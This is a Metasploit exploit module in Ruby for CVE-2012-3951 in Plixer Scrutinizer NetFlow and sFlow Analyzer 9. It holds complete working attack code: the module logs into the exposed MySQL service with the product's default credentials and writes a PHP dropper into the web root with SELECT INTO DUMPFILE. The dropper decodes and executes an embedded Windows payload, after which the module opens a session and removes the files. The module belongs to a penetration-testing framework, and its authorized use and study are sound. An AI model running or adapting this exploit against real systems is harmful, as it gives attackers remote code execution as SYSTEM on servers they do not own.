##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::MYSQL
	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential",
			'Description'    => %q{
				This exploits an insecure config found in Scrutinizer NetFlow & sFlow Analyzer.
				By default, the software installs a default password in MySQL, and binds the
				service to "0.0.0.0".  This allows any remote user to login to MySQL, and then
				gain arbitrary remote code execution under the context of 'SYSTEM'.  Examples
				of default credentials include: 'scrutinizer:admin', and 'scrutremote:admin'.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Mario Ceballos',
					'Jonathan Claudius',
					'Tanya Secker',
					'sinn3r'
				],
			'References'     =>
				[
					['CVE', '2012-3951'],
					['OSVDB', '84317'],
					['URL', 'http://secunia.com/advisories/50074/'],
					['URL', 'https://www.trustwave.com/spiderlabs/advisories/TWSL2012-014.txt']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00"
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Scrutinizer NetFlow and sFlow Analyzer 9.5.2 or older', {}]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jul 27 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new("USERNAME",  [true, 'The default MySQL username', 'scrutremote']),
				OptString.new("PASSWORD",  [true, 'The default MySQL password', 'admin']),
				OptPort.new("MYSQLPORT",   [true, 'The MySQL\'s remote port', 3306]),
				OptPort.new("HTTPPORT",    [true, 'The HTTP Server\'s remote port', 80]),
				OptString.new("TARGETURI", [true, 'The web application\'s base path', '/'])
			], self.class)

		# Both MySQL and HTTP need to use this, we'll have to register on the fly.
		deregister_options('RPORT')
	end


	def check
		tmp_rport = datastore['RPORT']
		datastore['RPORT'] = datastore['HTTPPORT']
		res = send_request_raw({'uri'=>target_uri.host})
		datastore['RPORT'] = tmp_rport
		if res and res.body =~ /\<title\>Scrutinizer\<\/title\>/ and
			res.body =~ /\<div id\=\'.+\'\>Scrutinizer 9\.[0-5]\.[0-2]\<\/div\>/
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end


	def get_php_payload(fname)
		p = Rex::Text.encode_base64(generate_payload_exe)
		php = %Q|
		<?php
		$f = fopen("#{fname}", "wb");
		fwrite($f, base64_decode("#{p}"));
		fclose($f);
		exec("#{fname}");
		?>
		|
		php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
		return php
	end


	#
	# I wanna be able to choose my own destination... path!
	#
	def mysql_upload_binary(bindata, path)
		# Modify the rport so we can use MySQL
		datastore['RPORT'] = datastore['MYSQLPORT']

		# Login
		h = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])

		# The lib throws its own error message anyway:
		# "Exploit failed [no-access]: RbMysql::AccessDeniedError"
		return false if not h

		tmp = mysql_get_temp_dir
		p = bindata.unpack("H*")[0]
		dest = tmp + path
		mysql_query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
		return true
	end


	def exe_php(php_fname)
		# Modify the rport so we can use HTTP
		datastore['RPORT'] = datastore['HTTPPORT']

		# Request our payload
		path = File.dirname("#{target_uri.path}/.")
		res = send_request_raw({'uri'=>"#{path}#{php_fname}"})
		return (res and res.code == 200)
	end


	def cleanup
		datastore['RPORT'] = @original_rport
	end


	def on_new_session(cli)
		if cli.type != 'meterpreter'
			print_error("Please remember to manually remove #{@exe_fname} and #{@php_fname}")
			return
		end

		cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")

		begin
			print_status("Deleting #{@php_fname}")
			cli.fs.file.rm(@php_fname)
		rescue ::Exception => e
			print_error("Please note: #{@php_fname} is stil on disk.")
		end

		begin
			print_status("Deleting #{@exe_fname}")
			cli.fs.file.rm(@exe_fname)
		rescue ::Exception => e
			print_error("Please note: #{@exe_fname} is still on disk.")
		end
	end


	def exploit
		@original_rport = datastore['RPORT']

		#
		# Prepare our payload (naughty exe embedded in php)
		#
		@exe_fname = Rex::Text.rand_text_alpha(6) + '.exe'
		p = get_php_payload(@exe_fname)

		#
		# Upload our payload to the html directory
		#
		print_status("Uploading #{p.length.to_s} bytes via MySQL...")
		@php_fname = Rex::Text.rand_text_alpha(5) + '.php'
		if not mysql_upload_binary(p, "../../html/#{@php_fname}")
			print_error("That MySQL upload didn't work.")
			return
		end

		#
		# Execute the payload
		#
		print_status("Requesting #{@php_fname}...")
		res = exe_php(@php_fname)

		handler
	end
end